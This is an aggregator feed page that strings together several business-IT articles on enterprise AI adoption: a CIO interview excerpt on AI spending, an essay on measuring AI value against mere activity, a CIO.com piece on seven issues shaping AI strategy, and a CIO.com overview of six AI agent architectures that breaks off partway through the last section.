<p class="wp-block-paragraph"><strong>Are CIOs actually opening their wallets? And when they do, what’s the smarter way to invest?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “There’s still a lot of caution. Forecasts keep going down on how long something should take. So: ‘I could wait three months and maybe still get it delivered by the same date someone’s promising me now, but for half the price. I’m going to wait and see when equilibrium is met.’ We haven’t seen the wallets open up like crazy — it’s slow adoption.“</p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “One of our clients is looking at it from a productivity-boost perspective: instead of doing the same for less, I can do much more for the same. AI lets clients pull the trigger on things they wouldn’t have in the past — projects that might not have been approved pre-AI, where the costs have come down to a point that’s palatable with the business.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “And that’s the story we’re hoping to hear more of. There isn’t a huge cost anymore to exploring a business opportunity. The time and money that would have gone to a return-on-investment study could be spent on a proof-of-concept with AI, and the project done a few weeks later. Maybe [there’s] a hint of things to come, where decisions start being made quicker. </p>



<p class="wp-block-paragraph">“There’s a little fear on our side, though: a lot of tiny little projects is tough for a consulting business.“</p>
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<title><![CDATA[With AI, activity is not value]]></title>
<description><![CDATA[The emergence of artificial intelligence is beginning to expose a profound weakness in the way modern enterprises measure performance.



For decades, business evaluation systems have been built around the logic of the industrial and transactional economy. Revenue growth, operating margins, earni...]]></description>
<link>https://tsecurity.de/de/3680938/it-security-nachrichten/with-ai-activity-is-not-value/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680938/it-security-nachrichten/with-ai-activity-is-not-value/</guid>
<pubDate>Mon, 20 Jul 2026 13:08:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">The emergence of artificial intelligence is beginning to expose a profound weakness in the way modern enterprises measure performance.</p>



<p class="wp-block-paragraph"><a href="https://techeconomists.com/why-the-world-needs-new-economic-indicators/">For decades</a>, business evaluation systems have been built around the logic of the industrial and transactional economy. Revenue growth, operating margins, earnings per share, labor productivity, return on investment and market share became the dominant indicators of organizational success because they reflected the economic realities of a world in which value creation was primarily tied to physical production, labor efficiency, scale and later the automation of information processing. AI, however, is altering the very structure of enterprise value creation, and in doing so it is creating a widening separation between perceived future value and actual realized economic performance.</p>



<p class="wp-block-paragraph">Much of the current discussion <a href="https://howardarubin.substack.com/p/why-ai-roi-is-so-darn-hard-to-measure">surrounding AI performance measurement</a> reflects this tension. The overwhelming majority of AI-related metrics being celebrated today are not direct measures of realized enterprise outcomes. They are largely indicators of capability formation, market positioning, experimentation or investor signaling. Metrics such as AI spending levels, number of AI use cases, GPUs deployed, copilots implemented, models placed into production, AI hiring growth or agentic AI pilots all serve primarily as proxies for anticipated future advantage. These indicators may influence stock valuations, analyst sentiment and strategic narratives, but their relationship to measurable operational performance is often indirect, delayed or in some cases entirely speculative.</p>



<p class="wp-block-paragraph">This distinction is critically important because capital markets have historically rewarded the <em>expectation</em> of technological transformation long before actual economic results materialized. During previous technological revolutions—including electrification, enterprise resource planning, the internet, cloud computing and mobile platforms—valuation expansion frequently preceded measurable productivity gains by many years. The market priced future possibility before operational economics caught up. In many instances, investors rewarded firms simply for appearing strategically aligned with the dominant technological shift of the era. AI appears to be following a similar trajectory.</p>



<p class="wp-block-paragraph">The phenomenon resembles the famous <a href="https://www.brookings.edu/articles/the-solow-productivity-paradox-what-do-computers-do-to-productivity/">productivity paradox</a> articulated by economist Robert Solow, who observed that “you can see the computer age everywhere but in the productivity statistics.” AI today is visible everywhere: in investor presentations, earnings calls, technology conferences, product announcements and boardroom strategies. Yet in many industries, its measurable contribution to enterprise productivity, profitability or economic resilience remains difficult to isolate with precision. This does not necessarily mean AI lacks value. Rather, it reflects the reality that traditional accounting and performance systems were never designed to measure the forms of value AI increasingly produces.</p>



<p class="wp-block-paragraph">Artificial intelligence creates benefits that are often diffuse, cumulative and difficult to attribute directly to financial outcomes. AI may improve forecasting accuracy, reduce fraud, accelerate decision cycles, augment employee effectiveness, improve customer interactions, optimize logistics or enhance cybersecurity resilience. These benefits frequently manifest as second-order effects distributed across the enterprise rather than as immediately visible financial events. The causal chain between AI investment and realized business performance can therefore become extraordinarily difficult to quantify. A company may become operationally more intelligent without immediately becoming measurably more profitable.</p>



<p class="wp-block-paragraph">At the same time, AI introduces a profound danger: organizations may increasingly optimize for technological narrative rather than durable enterprise economics. Many firms today are pursuing AI primarily because markets reward the appearance of AI leadership. Investor enthusiasm, analyst pressure and competitive fear create incentives to demonstrate visible AI activity <a href="https://howardarubin.substack.com/p/talking-about-ai-value-is-like-talking">regardless of whether measurable economic value has actually been achieved</a>. In this environment, AI metrics can easily become instruments of valuation signaling rather than instruments of operational truth.</p>



<p class="wp-block-paragraph">This distinction between signaling and substance may become one of the defining economic challenges of the AI era. An organization may announce aggressive AI deployment programs, reduce headcount and report short-term margin improvements while simultaneously increasing hidden forms of technological fragility. Infrastructure costs may rise dramatically as GPU consumption, cloud usage, data engineering requirements and cybersecurity complexity expand. Technical debt may accelerate as AI-generated code proliferates without sufficient architectural discipline. Institutional knowledge may erode as organizations become excessively dependent on opaque models and automated systems. Long-term innovation capacity may weaken if enterprises divert disproportionate resources toward maintaining internally generated AI systems rather than building new strategic capabilities.</p>



<h2 class="wp-block-heading">What measuring AI value might actually look like</h2>



<p class="wp-block-paragraph">The distinction between AI activity and AI value becomes clearer when viewed through the kinds of measures organizations choose to track. Many enterprises today emphasize indicators such as the number of AI models deployed, copilots implemented, agents created, prompts executed, tokens consumed or employees using AI tools. These metrics demonstrate adoption and technological activity, but they reveal relatively little about whether AI is producing meaningful business outcomes.</p>



<p class="wp-block-paragraph">Measures of enterprise value look quite different. A manufacturer might evaluate whether AI improves demand forecasting accuracy enough to reduce inventory carrying costs or stockouts. A financial institution might measure whether AI meaningfully lowers fraud losses, accelerates loan processing or improves regulatory compliance. A healthcare provider could assess reductions in administrative burden, faster clinical decision support or improvements in patient throughput. In each case, the objective is not simply to measure AI deployment, but to determine whether AI creates measurable improvements in operational performance, economic outcomes or organizational resilience.</p>



<p class="wp-block-paragraph">Ultimately, organizations may need to ask a different question: not “How much AI are we using?” but “How much business value does each unit of AI investment create?” That shift—from measuring technological activity to measuring economic outcomes—may become one of the defining management disciplines of the AI era.</p>



<p class="wp-block-paragraph">Under traditional accounting frameworks, many of these deteriorations remain largely invisible. Quarterly earnings may improve even as underlying enterprise resilience declines. Stock prices may rise even as operational complexity becomes increasingly unsustainable. In this sense, the AI era threatens to widen the gap between financial appearance and organizational reality.</p>



<p class="wp-block-paragraph">This is why the future of enterprise measurement cannot simply involve adding AI metrics to existing financial scorecards. The challenge is far deeper. AI forces a reconsideration of what business performance actually means. Historically, enterprises were measured largely through static indicators of efficiency and output. Increasingly, however, competitive advantage may depend less on traditional efficiency and more on adaptive intelligence: the ability of an organization to learn faster, make better decisions, integrate human and machine capabilities effectively, manage technological complexity sustainably and convert computational power into durable economic outcomes.</p>



<p class="wp-block-paragraph">The most important future performance measures may therefore revolve around questions traditional accounting rarely addresses. How effectively does an enterprise convert technology investment into sustainable business capability? How economically efficient are its AI operations relative to the value they generate? How resilient is the organization to AI failure, cybersecurity disruption or infrastructure inflation? How successfully does it preserve and amplify human expertise rather than simply eliminate labor? How rapidly can it learn, adapt and operationalize new knowledge?</p>



<p class="wp-block-paragraph">These are not merely technology questions. They are questions of enterprise economics, organizational sustainability and long-term competitive viability.</p>



<p class="wp-block-paragraph">The companies that ultimately succeed in the AI era may not be those with the largest AI budgets, the greatest number of pilots or the most aggressive automation programs. They may instead be the firms that best understand the economics of technological capability itself: organizations capable of balancing innovation with resilience, automation with human augmentation and technological ambition with sustainable operational design.</p>



<p class="wp-block-paragraph">The coming decade is therefore likely to produce a widening divide between enterprises optimizing for AI-driven valuation narratives and enterprises optimizing for measurable, durable economic performance. In the short term, these may appear to be the same thing.</p>



<p class="wp-block-paragraph">Over time, however, the distinction will become increasingly visible. Some organizations will discover that AI has enhanced genuine enterprise capability. Others will discover that they merely optimized the appearance of transformation while silently accumulating new forms of economic and operational risk.</p>



<p class="wp-block-paragraph">Artificial intelligence is not simply changing business operations. It is exposing the inadequacy of many of the measures used to evaluate business success itself. The central challenge of the AI economy may ultimately become not whether organizations adopt AI, but whether they can distinguish between technological activity and actual economic value creation.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[EDR vs EPP: Why Endpoint Protection Alone Isn’t Enough in 2026]]></title>
<description><![CDATA[27 seconds. That’s the fastest time on record for an attacker to break into an endpoint and start moving laterally through a network. The average across all attacks in 2025 was 29 minutes, a 65% jump in speed over the year before. Somewhere in that window, a purely preventive tool has already los...]]></description>
<link>https://tsecurity.de/de/3680903/it-security-nachrichten/edr-vs-epp-why-endpoint-protection-alone-isnt-enough-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680903/it-security-nachrichten/edr-vs-epp-why-endpoint-protection-alone-isnt-enough-in-2026/</guid>
<pubDate>Mon, 20 Jul 2026 12:54:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>27 seconds. That’s the fastest time on record for an attacker to break into an endpoint and start moving laterally through a network. The average across all attacks in 2025 was 29 minutes, a 65% jump in speed over the year before. Somewhere in that window, a purely preventive tool has already lost the race, […]</p>
<p>The post <a href="https://www.seqrite.com/blog/edr-vs-epp-endpoint-protection-not-enough/" data-wpel-link="internal" target="_self" rel="follow">EDR vs EPP: Why Endpoint Protection Alone Isn’t Enough in 2026</a> appeared first on <a href="https://www.seqrite.com/blog" data-wpel-link="internal" target="_self" rel="follow">Seqrite Labs</a>.</p>]]></content:encoded>
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<title><![CDATA[7 issues impacting AI strategies — and how CIOs should respond]]></title>
<description><![CDATA[CIOs remain at the forefront of setting the course for AI adoption in their organizations.



In fact, 82% of CIO respondents to CIO.com’s 2026 State of the CIO survey are responsible for researching and evaluating AI products, with 78% of IT leaders saying their IT departments are driving AI ado...]]></description>
<link>https://tsecurity.de/de/3680786/it-nachrichten/7-issues-impacting-ai-strategies-and-how-cios-should-respond/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680786/it-nachrichten/7-issues-impacting-ai-strategies-and-how-cios-should-respond/</guid>
<pubDate>Mon, 20 Jul 2026 12:03:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">CIOs remain at the forefront of setting the course for AI adoption in their organizations.</p>



<p class="wp-block-paragraph">In fact, 82% of CIO respondents to <a href="https://us.resources.cio.com/resources/state-of-the-cio/">CIO.com’s 2026 State of the CIO survey</a> are responsible for researching and evaluating AI products, with 78% of IT leaders saying their IT departments are driving AI adoption efforts, with business units aligning their strategies accordingly.</p>



<p class="wp-block-paragraph">As such, CIOs are leading or co-leading AI strategies at the majority of organizations, with many also playing a key role in tackling <a href="https://www.cio.com/article/4016354/cios-tackle-the-ai-change-management-challenge.html">AI change management</a>. They report encountering numerous factors — from heightened pressure to deliver ROI to challenges with trust in AI outputs — as they formulate and shape those AI strategies.</p>



<p class="wp-block-paragraph">Here’s a look at seven notable issues impacting AI strategies in 2026.</p>



<h2 class="wp-block-heading">1. Increasing pressure to show ROI for AI investments</h2>



<p class="wp-block-paragraph">The era of AI experimentation and pilots is over. Boards and CEOs are making it clear they want to see <a href="https://www.cio.com/article/4114010/2026-the-year-ai-roi-gets-real.html">quantifiable returns from their AI investments</a>. Kyndryl’s 2025 <a href="https://www.kyndryl.com/us/en/insights/readiness-report-2025">Readiness Report</a>, for example, found that 61% of senior business leaders and decision-makers felt more pressure to prove ROI on their AI investments than they had the prior year.</p>



<p class="wp-block-paragraph">“The era of funding AI is shifting from everything all-in to every project has to have line of sight to some financial value at the end of the day. It’s moving from the experimentation phase to expecting measurable outcomes,” says <a href="https://www.ensono.com/company/leadership/jim-piazza/">Jim Piazza</a>, chief AI officer at IT services firm Ensono.</p>



<p class="wp-block-paragraph">As a result, Piazza says companies, both his own as well as those he advises, are more diligent about building business cases that estimate implementation costs, AI run costs, and expected benefits so they’re primed to pursue AI initiatives that will deliver ROI.</p>



<p class="wp-block-paragraph">That strategy seems to be paying off. According to the <a href="https://www.prnewswire.com/news-releases/dun--bradstreet-global-survey-of-10-000-businesses-finds-ai-impact-at-an-inflection-point-302761821.html">May 2026 AI Momentum Survey from Dun &amp; Bradstreet</a>, 67% of 10,000 businesses surveyed reported seeing early signs or pockets of ROI, 20% reported multiple projects delivering ROI, and 10% reported strong ROI.</p>



<p class="wp-block-paragraph">That’s a big jump from earlier surveys that found few AI initiatives providing returns. For example, <a href="https://www.pwc.com/gx/en/news-room/press-releases/2026/pwc-2026-global-ceo-survey.html">PwC’s 2026 Global CEO Survey</a>, released in January, found that 56% of CEOs saw no significant financial benefit from AI to date, while <a href="https://mlq.ai/media/quarterly_decks/v0.1_State_of_AI_in_Business_2025_Report.pdf">The GenAI Divide: State of AI in Business 2025</a> from MIT found that 95% of enterprise generative AI projects failed to show measurable financial returns within six months.</p>



<h2 class="wp-block-heading">2. The need to harness AI for transformation</h2>



<p class="wp-block-paragraph">The No. 1 concern for CEOs this year, according to <a href="https://www.pwc.com/gx/en/news-room/press-releases/2026/pwc-2026-global-ceo-survey.html">PwC’s 2026 Global CEO Survey</a>, is whether they’re transforming fast enough to keep pace with technological change, cited by 42% of respondents as their top concern. And 68% of the 1,120-plus C-suite executives surveyed by KPMG for its May 2026 <a href="https://kpmg.com/us/en/articles/2026/adaptability-pulse-survey.html">Adaptability Pulse Survey</a> said they feel pressure to accelerate innovation.</p>



<p class="wp-block-paragraph">That in turn is influencing AI strategies.</p>



<p class="wp-block-paragraph"><a href="http://steve%20santana%20%7C%20linkedin/">Steve Santana</a>, CIO and head of AI at ETS, the world’s largest private nonprofit educational testing and assessment organization, says his company is “pivoting from working on enterprise efficiencies using AI to figuring out how to deliver assessments,” adding that “AI will enable innovation we couldn’t get to before.”</p>



<p class="wp-block-paragraph">For ETS, that means reimagining how the company delivers its core products, “finding areas to do something you couldn’t do before because it was too big or too daunting,” such as having more interactive tests and assessments at scale, Santana says.</p>



<p class="wp-block-paragraph">And while Santana believes organizations can’t move too slowly, he predicts innovation will trump speed. “The winners and losers in the AI race aren’t always going to be the ones that got there the fastest,” he says, observing that those who move too fast “can drive behaviors that are very dangerous.”</p>



<p class="wp-block-paragraph">He adds, “I’m not advocating for moving slow; I’m advocating moving at pace. It’s better to be measured in your approach.”</p>



<h2 class="wp-block-heading">3. The black box of AI costs</h2>



<p class="wp-block-paragraph">CIOs are struggling to calculate the full cost to run AI for their use cases, with estimates coming in well under what their actual bills will be. Consider the figures from research firm IDC, which found that global 1,000 companies will <a href="https://www.cio.com/article/4107377/cios-will-underestimate-ai-infrastructure-costs-by-30.html">underestimate their AI infrastructure costs by 30% through 2027</a>.</p>



<p class="wp-block-paragraph">That makes identifying which AI use cases will produce quantifiable value much more challenging, which in turn makes determining a winning AI strategy harder to do. CIOs, however, say they can’t let that stop them from advising their C-suite colleagues on which AI use cases are likely to be winners.</p>



<p class="wp-block-paragraph">“You can’t sit on the sidelines and wait and watch. The general conclusion is you’re going to lose if you do that, so you have to play even though the cost dynamics are not really well understood,” says <a href="http://mohan%20sankararaman%20-%20corporate%20leadership/">Mohan Sankararaman</a>, executive vice president and CIO of First Horizon Bank.</p>



<p class="wp-block-paragraph">Sankararaman says he’s devising his AI strategy with that uncertainty in mind.</p>



<p class="wp-block-paragraph">“It’s up to me and my team to figure out how to optimize our use for costs, just like we did with cloud,” he says, noting that part of his strategy is to avoid infrastructure choices that could result in AI vendor lock-in and, thus, getting stuck with that vendor’s bills.</p>



<p class="wp-block-paragraph">“IT has to get the engineering right and not overengineer solutions to make sure the AI strategy we pursue delivers returns,” he adds.</p>



<p class="wp-block-paragraph">Researchers recommend such approaches. In a <a href="https://www.idc.com/resource-center/blog/balancing-ai-innovation-and-cost-the-new-finops-mandate/">blog highlighting the IDC research</a>, Jevin Jensen, research vice president for infrastructure and operations at IDC, wrote that “organizations successfully navigating this challenge are ones that effectively share a common trait: they’ve reimagined FinOps as a strategic team, not an after-the-fact accounting exercise. They treat <a href="https://my.idc.com/getdoc.jsp?containerId=US53858725&amp;pageType=PRINTFRIENDLY" target="_blank" rel="noreferrer noopener">AI economics as a living ecosystem</a> — measurable, visible, and continuously optimized.”</p>



<h2 class="wp-block-heading">4. Aligning use cases to business strategy</h2>



<p class="wp-block-paragraph">There are an overwhelming number of potential use cases, so execs must pick and prioritize those that will help them achieve their strategic goals.</p>



<p class="wp-block-paragraph">That’s easier said than done.</p>



<p class="wp-block-paragraph">Enterprise Strategy Group’s <a href="https://www.snowflake.com/en/news/press-releases/snowflake-research-reveals-that-92-percent-of-early-adopters-see-roi-from-ai-investments/">2025 report on generative AI’s ROI</a> surveyed 1,900 business and IT leaders across nine countries and found that 71% had more potential use cases that they want to pursue than they can possibly fund; 54% said selecting the right use cases based on objective measures like cost, business impact, and the organization’s ability to execute is hard; and 71% acknowledged that selecting the wrong use cases will hurt their company’s market position. Furthermore, 59% of respondents said advocating for the wrong use cases could cost them their job.</p>



<p class="wp-block-paragraph">Longtime CIO adviser <a href="http://larry%20wolff%20%7C%20linkedin/">Larry Wolff</a> says challenges picking and prioritizing use cases stems in part from boards and CEOs commanding their teams “to do AI.” Such directives, he explains, puts the technology first and business goals second — something CIOs have been trying to avoid for years.</p>



<p class="wp-block-paragraph">“There should not be a technology strategy. There should be a business strategy with a technology component. The same applies to AI,” says Wolff, now CIO of Preferred Travel Group. “We need to talk about business challenges and opportunities first and then talk about how AI can solve for those.”</p>



<h2 class="wp-block-heading">5. Human readiness to use AI</h2>



<p class="wp-block-paragraph">Even as Sankararaman and his executive colleagues build the bank’s AI strategy, he still sees the need to <a href="https://www.cio.com/article/4146677/the-ai-revolution-getting-culture-right-for-ai-success.html">improve the organization’s understanding of the technology</a>. “Everybody has a basic understanding, but AI fluency isn’t where it should be,” he says, noting that a subpar level of fluency “can hamper creativity.”</p>



<p class="wp-block-paragraph">“If the strategy is to become top notch in, say, customer experience, we have to determine how to achieve that. And if you start building the road map but you don’t know what the technology can do, then the strategy will be limited,” he adds.</p>



<p class="wp-block-paragraph">Sankararaman considers running AI boot camps for executives and their direct reports to improve their knowledge of AI and its transformative capabilities. “Not everyone needs to be an AI expert, but we still need to have a level of understanding of, say, what a large language model is and how to apply it and other elementary things like that. The hope is that when we do talk about strategy for business outcomes, everyone will know how to leverage AI,” he explains.</p>



<p class="wp-block-paragraph">According to <a href="https://www.ey.com/en_us/people/jamaal-justice">Jamaal Justice</a>, principal for people consulting at EY, concern about AI fluency is widespread.</p>



<p class="wp-block-paragraph">“One of the biggest challenges that impacts the success of an AI strategy is human readiness,” Justice says. He points to <a href="https://www.ey.com/en_uk/insights/workforce/work-reimagined-survey">EY research</a> showing “that while 88% of employees use AI at work, only 28% of organizations have positioned employees to achieve transformative business impact from AI. This underscores that the challenge is not access, but adoption and readiness.”</p>



<p class="wp-block-paragraph">Like Sankararaman, Justice acknowledges that it’s OK to have a spectrum of knowledge and use among workers. But success with AI “depends on aligning mindsets, skillsets, and toolsets, by creating the right conditions for both workforce readiness and effective technology use,” he says.</p>



<p class="wp-block-paragraph">“Organizations that integrate human capability with technology and fundamentally rearchitect work using a human-centered and value-oriented approach will unlock value at scale,” he adds. “Those that don’t risk fragmented adoption and limited returns.”</p>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_uk/insights/workforce/work-reimagined-survey">EY research</a> confirms as much, finding that productivity gains can fall by more than 40% when AI is deployed on weak talent foundations, including poor learning, culture, and incentives.</p>



<h2 class="wp-block-heading">6. Data readiness for AI use</h2>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4104444/8-tips-for-rebuilding-an-ai-ready-data-strategy.html">Data readiness</a> is also lagging at most organizations, further hindering AI ambitions.</p>



<p class="wp-block-paragraph">According to a 2026 report from Cloudera and Harvard Business Review Analytic Services titled <a href="https://www.cloudera.com/campaign/taming-the-complexity-of-ai-data-readiness.html">Taming the Complexity of AI Data Readiness</a>, 73% of surveyed business leaders said their organization struggles with AI data preparation. The top obstacles are siloed data and difficulty integrating data sources (56%), lack of a clear data strategy (44%), data quality and bias issues (41%), and regulatory constraints on data use (34%).</p>



<p class="wp-block-paragraph">To ensure AI success, “a radical reshaping of the data landscape is needed,” says <a href="https://www.linkedin.com/in/steve-prewitt-295859/">Steve Prewitt</a>, who as chief data and AI officer at IT services firm Genpact advises clients on AI deployments for their own organizations.</p>



<p class="wp-block-paragraph">That reshaping is more critical today as agentic AI becomes more prevalent, Prewitt observes. Organizations need high-quality well-governed data to enable and trust AI agents to make real-time decisions autonomously. Otherwise, organizations either can’t move forward with deploying agents or, if they do, risk triggering cascading failures.</p>



<h2 class="wp-block-heading">7. Engendering trust</h2>



<p class="wp-block-paragraph">ETS CIO Santana and his colleagues recognize AI’s potential to deliver faulty outputs, whether from problematic data, drift, or other problems. Everyday users recognize that potential, too.</p>



<p class="wp-block-paragraph">That’s why the issue of trust has a significant impact on the nonprofit’s AI strategy. Companies such as ETS that provide critical, high-stakes services know they must earn trust by building AI use cases that can consistently and demonstratively deliver accurate outputs, Santana says.</p>



<p class="wp-block-paragraph">ETS’s strategy is to highlight where AI is making high-stakes decisions and to detail what steps the company must take to ensure that it consistently delivers accurate, trustworthy outputs and that it conforms to established standards and requirements, he says.</p>



<p class="wp-block-paragraph">“You don’t want someone to feel the results may be wrong if you’re using AI to assess a person and their future depends on it,” he notes. “You want to remove any doubts [in such AI use cases], and the strategy should ensure that. The strategy should include all the work needed to have that trust.”</p>
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<title><![CDATA[The 6 kinds of AI agent architectures]]></title>
<description><![CDATA[Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single p...]]></description>
<link>https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</guid>
<pubDate>Mon, 20 Jul 2026 11:09:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single phrase carries that much weight, well, it stops carrying any.</p>



<p class="wp-block-paragraph">I’ve spent the last three years inside hundreds of enterprise AI deployments, and the factor that separates the programs scaling elegantly from the ones still shuffling is often the CIO’s architectural fluency: The ability to look at business problems across the organization and recognize, on sight, what kind of AI architecture is the right fit. In my experience there are six archetypes, each with their own nuances, that CIOs should internalize to make well-informed decisions going forward.</p>



<h2 class="wp-block-heading">1. The conversational assistant</h2>



<p class="wp-block-paragraph">The first, and the one most enterprises meet first, is the conversational assistant: The chat-based partner that an employee or customer opens when they want to think out loud. <a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html?id=us:2ps:3gl:aisgm26:awa:CONS:em:K0218784:012626:kwd-430833501819:195648817121:794247818306::&amp;gclsrc=aw.ds&amp;gad_source=1&amp;gad_campaignid=23269751971&amp;gbraid=0AAAAADenGPCB8F-Mx6GhUt0V1PWpgLqtw&amp;gclid=Cj0KCQjwi8nRBhDhARIsAHZf_pYktgKgYgYBAR6AcMikwdYOF7q6S3WaLiLYg2hwhvdCjRiqajxnqtkaAsdYEALw_wcB">Deloitte found that 38%</a> of organizations report AI is already strengthening their client or customer relationships. This is the architecture people fall in love with: A well-designed assistant with constantly updated information, persistent user-level memory, tools that can act on behalf of users, and citations on every factual claim becomes a useful problem-solver that’s available at any hour of the day.</p>



<p class="wp-block-paragraph">A global law firm I work with deployed an internal assistant that gives every attorney instant access to the firm’s accumulated precedent, memos and prior matter work. Associates who used to spend the first hour of a research task hunting through document management systems now start with a grounded, citation-backed answer and refine from there. This helped the firm’s institutional knowledge, previously locked in the heads of senior partners, become queryable by anyone with a deadline at 11 p.m., or later.</p>



<p class="wp-block-paragraph">A second example: A mid-market wealth management firm built a client-facing assistant that handles portfolio questions, statement explanations and routine servicing requests. The assistant draws from each client’s actual holdings, recent activity and the firm’s published market commentary, with citations linking back to source documents. Advisors stopped being interrupted for the questions that didn’t require an advisor, and clients got answers on a Sunday.</p>



<h2 class="wp-block-heading">2. The triggered workflow</h2>



<p class="wp-block-paragraph">Another pattern producing the value across the enterprises I work with is something that runs silently: An email arrives, a ticket is created, a file lands in a folder and the agent executes a process utilizing both reasoning and determinism. These agents don’t even require user adoption, because they’re invisible to the end user. They produce measurable outcomes, but fit cleanly into the audit and change-control processes IT teams have run for decades.</p>



<p class="wp-block-paragraph">A commercial insurer I advise built a triggered workflow for inbound submissions. Every broker email that arrives at the underwriting inbox is classified by line of business, the attachments are parsed, key risk fields are extracted into the policy administration system, and a draft acknowledgment is queued for the underwriter’s review. Seemingly overnight, the inbox began arriving pre-sorted, and submission throughput rose meaningfully without any change to headcount.</p>



<p class="wp-block-paragraph">Another example, this time from a private equity firm: Every inbound confidential information memorandum (CIM) that hits the deal team’s shared inbox triggers a workflow that extracts the financial summary, screens it against the firm’s investment criteria, drafts a preliminary memo and posts the result into the deal-tracking system. Associates still make the call on what to pursue, but the first three hours of manual work on each opportunity now happen before anyone even opens the file.</p>



<h2 class="wp-block-heading">3. The autonomous agent — with sub-agents</h2>



<p class="wp-block-paragraph">Here we have the architecture that gets the most conference attention: The autonomous agent, given a task and left to plan its own steps by utilizing its own sub-agents. Autonomous agents are not one-size-fits-all, but they do meet a specific need: Multi-source research, complex cross-system lookups, deep-dive investigations. All of these are processes where the path isn’t usually specified in advance, but the tools are. With the right design discipline, an autonomous agent feels like having a self-sufficient teammate who can call in the right resources and specialists if needed.</p>



<p class="wp-block-paragraph">A global consulting firm I work with uses an autonomous research agent for early-stage engagement scoping. Given a target company and a strategic question, the agent decides for itself which sub-agents to consult (choosing from internal proprietary databases, prior engagement archives, licensed market data, public filings) and produces a structured briefing with its reasoning chain attached.</p>



<p class="wp-block-paragraph">Another large technology company I know of deployed an autonomous agent for cross-system incident investigation. When a production alert fires, the agent forms a hypothesis, queries the necessary sub-agents with relevant monitoring tools, log stores and deployment systems, and follows the trail until it reaches a defensible root-cause summary to surface to an engineer.</p>



<h2 class="wp-block-heading">4. The multi-agent team</h2>



<p class="wp-block-paragraph">The fourth pattern is where the next wave of enterprise quality gains is going to come from. <a href="https://www.databricks.com/resources/ebook/state-of-ai-agents">According to Databricks</a>, usage of multi-agent systems grew 327% in just four months as enterprises moved beyond single chatbots. Several specialized agents, each with its own role and toolset, coordinate through a shared protocol: A researcher and a writer, a planner and a set of executors, a proposer and a critic. The proposer-critic feedback loop is one of the smartest techniques in agent design today. One model produces an answer; a second, with a different prompt and often a different provider, evaluates it against explicit criteria. For compliance review, contract analysis, high-stakes classification and any output that will be audited, this second pass is extremely helpful and mirrors how human teams work.</p>



<p class="wp-block-paragraph">A global bank I work with uses a multi-agent system for marketing and communications review. One agent drafts client-facing copy, a second checks it against the firm’s regulatory and brand guidelines and a third checks it against jurisdiction-specific disclosure rules. Disagreements among the agents are surfaced to a human reviewer with the specific clauses flagged. The compliance team stopped being the bottleneck on every routine piece of copy and started focusing on the high-judgment cases instead.</p>



<p class="wp-block-paragraph">The next example: A pharmaceutical company built a multi-agent workflow for medical literature summarization. A retriever agent gathers candidate studies, a reader agent extracts study design and findings, a critic agent challenges the reader’s claims against the source text, and a synthesizer agent composes the final brief. The proposer-critic loop in the middle is the reason the medical affairs team trusts the output enough to act on it.</p>



<h2 class="wp-block-heading">5. The human-in-the-loop (HITL) agent</h2>



<p class="wp-block-paragraph">The fifth pattern is the one I think we’ll see increasingly more of in the future. While many see “full automation” as the goal, the right target is actually to let the agent handle the 80% of a task that is mechanical, while preserving human judgment at the most critical moments. This is achievable via human-in-the-loop (HITL) agents. <a href="https://www.moodys.com/web/en/us/insights/ai/human-in-the-loop-why-human-oversight-still-matters-in-ai-driven-risk-and-compliance.html">According to Moody’s, 42%</a> of compliance professionals believe that human oversight is mandatory, and I agree: AI should run <em>right</em>, by getting approval and review before any sensitive business action is taken. HITL is the architecture that can help turn a skeptical team into an enthusiastic one.</p>



<p class="wp-block-paragraph">A regional health system I worked with uses a HITL agent for prior-authorization letters. The agent assembles the clinical evidence, drafts the letter against the relevant payer’s criteria, and routes it to a nurse case manager for review inside the existing workflow tool. The nurse approves, edits or rejects in seconds rather than minutes, and every edit helps make the next draft better.</p>



<p class="wp-block-paragraph">A property management company uses a HITL agent to run its maintenance work orders. When a tenant emails about a problem (an HVAC unit that died overnight, say), the agent pulls the structured details (tenant, unit, issue type, urgency), matches the job to the right vendor from the directory, and drafts the work order. A team member approves it in Slack before anything goes out. From there the agent emails the vendor with the full order, confirms with the tenant that someone is on the way and updates Airtable, closing the loop completely.</p>



<h2 class="wp-block-heading">6. The scheduled agent</h2>



<p class="wp-block-paragraph">On a set schedule or against a batch of inputs, this agent runs the same defined task: Produce a report, refresh a dataset, monitor a set of sources or summarize a period of activity. Under this archetype, unsexy work gets done consistently, integrated into existing operational rhythms like the Monday morning meeting, the daily standup and the monthly board deck, without asking anyone to change their behavior. This is the architecture that shifts AI from feeling like even more work, to a seamless teammate that just works.</p>



